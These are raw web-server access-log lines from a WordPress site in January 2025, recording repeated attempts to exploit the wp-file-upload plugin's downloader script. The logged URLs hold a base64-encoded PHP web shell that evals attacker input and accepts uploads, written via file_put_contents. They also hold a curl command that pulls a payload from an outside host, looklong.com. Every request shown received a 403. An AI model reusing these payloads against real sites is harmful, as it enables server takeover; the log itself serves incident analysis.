access_log.01-08.txt:109.237.99.63 www.eawhoa.com - [08/Jan/2025:23:25:54 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)"
access_log.01-08.txt:109.237.99.63 www.eawhoa.com - [08/Jan/2025:23:26:11 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)"
access_log.01-09.txt:78.153.136.174 www.eawhoa.com - [09/Jan/2025:01:10:50 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.3; Win64; x64; Trident/5.0)"
access_log.01-09.txt:78.153.136.174 www.eawhoa.com - [09/Jan/2025:01:18:42 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "-" "Mozilla/5.0 (Windows NT 5.1; rv:49.0) Gecko/20100101 Firefox/49.0"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:01:22:10 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:01:22:11 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:02:47:32 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2630.90 Safari/537.36"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:02:47:32 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2630.90 Safari/537.36"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:03:14:52 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2642.34 Safari/537.36"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:03:14:52 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2642.34 Safari/537.36"
access_log.01-09.txt:78.153.136.174 www.eawhoa.com - [09/Jan/2025:04:12:11 -0500] "POST /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0"
access_log.01-09.txt:78.153.136.174 www.eawhoa.com - [09/Jan/2025:04:17:04 -0500] "POST /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:04:41:24 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (X11; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2659.25 Safari/537.36"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:04:41:27 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php" "Mozilla/5.0 (X11; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2659.25 Safari/537.36"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:05:10:43 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2969.81 Safari/537.36"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:05:10:43 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2969.81 Safari/537.36"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:06:35:29 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:06:35:30 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:07:04:34 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2875.79 Safari/537.36"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:07:04:36 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2875.79 Safari/537.36"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:08:30:10 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:08:30:10 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:09:00:10 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 10.0; Trident/5.0)"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:10:24:01 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:10:24:02 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
access_log.01-09.txt:87.251.77.180 www.eawhoa.com - [09/Jan/2025:10:54:09 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 6.2; Win64; x64; Trident/7.0; rv:11.0) like Gecko"
